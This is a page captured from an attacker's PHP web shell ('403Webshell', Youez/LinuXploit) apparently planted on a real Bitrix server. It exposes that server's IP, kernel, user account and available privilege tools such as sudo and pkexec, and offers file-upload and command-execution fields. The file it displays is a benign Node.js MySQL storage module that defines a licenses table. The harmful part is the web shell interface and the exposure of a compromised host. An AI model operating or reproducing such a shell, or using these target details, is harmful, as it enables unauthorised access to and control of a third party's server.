403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /opt/push-server/lib/storages/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/push-server/lib/storages/mysql.js
const mysql = require("mysql");
const config = require("../../config");
const logger = require("../debug");

let dbConnection;

class MySql
{
	static getDatabase()
	{
		if (dbConnection)
		{
			return Promise.resolve(dbConnection);
		}

		return new Promise((resolve) => {
			const connectionConfig = typeof(config.licenseStorage) === 'object' ? config.licenseStorage : {};
			dbConnection = mysql.createConnection(connectionConfig);
			dbConnection.connect(error => {
				if (error)
				{
					logger.systemError(error);
					dbConnection = null;
				}
				else
				{
					dbConnection.query(MySql.getSchema());
				}

				resolve(dbConnection);
			});

			dbConnection.on('error', error => {
				logger.systemError(error);
				dbConnection = null;
			});
		});
	}

	static getSchema()
	{
		return ` 
			CREATE TABLE IF NOT EXISTS licenses
			(
				clientId varchar(32) not null,
			    host varchar(32) not null,
				securityKey varchar(512) not null,
				securityAlgo varchar(10),
				dateTo bigint not null,
				siteUrl varchar(100),
				verificationQuery varchar(200),
				lastCheck bigint default 0,
				UNIQUE INDEX UX_LICENCES_CLIENT_ID(clientId, host)
			);
		`;
	}
}

module.exports = MySql;

Youez - 2016 - github.com/yon3zu
LinuXploit